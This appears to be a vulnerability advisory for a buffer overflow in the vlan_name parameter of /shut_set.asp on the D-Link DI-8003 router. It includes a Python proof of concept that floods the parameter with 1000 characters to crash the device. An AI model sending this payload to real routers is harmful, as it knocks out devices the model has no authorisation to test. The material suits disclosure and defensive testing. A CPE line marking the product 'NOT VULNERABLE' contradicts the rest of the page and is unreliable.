A buffer overflow vulnerability exists in D-Link DI-8003 16.07.26A1 due to improper input validation in the vlan_name parameter in the /shut_set.asp endpoint.
cpe:2.3:h:dlink:di-8003:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DI-8003 16.07.26A1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC for CVE-2025-50649
Buffer Overflow in D-Link DI-8003
"""
import requests
target_ip = "192.168.0.1" # Replace with target IP
url = f"http://{target_ip}/shut_set.asp"
# Construct payload to trigger buffer overflow in vlan_name parameter
# Sending a long string of 'A' characters to exceed buffer size
payload = {
"vlan_name": "A" * 1000
}
def send_exploit():
try:
print(f"[*] Sending payload to {url}...")
response = requests.post(url, data=payload, timeout=5)
print(f"[*] Response status code: {response.status_code}")
print("[*] Exploit sent. If the device crashes, the vulnerability is confirmed.")
except Exception as e:
print(f"[!] An error occurred: {e}")
if __name__ == "__main__":
send_exploit()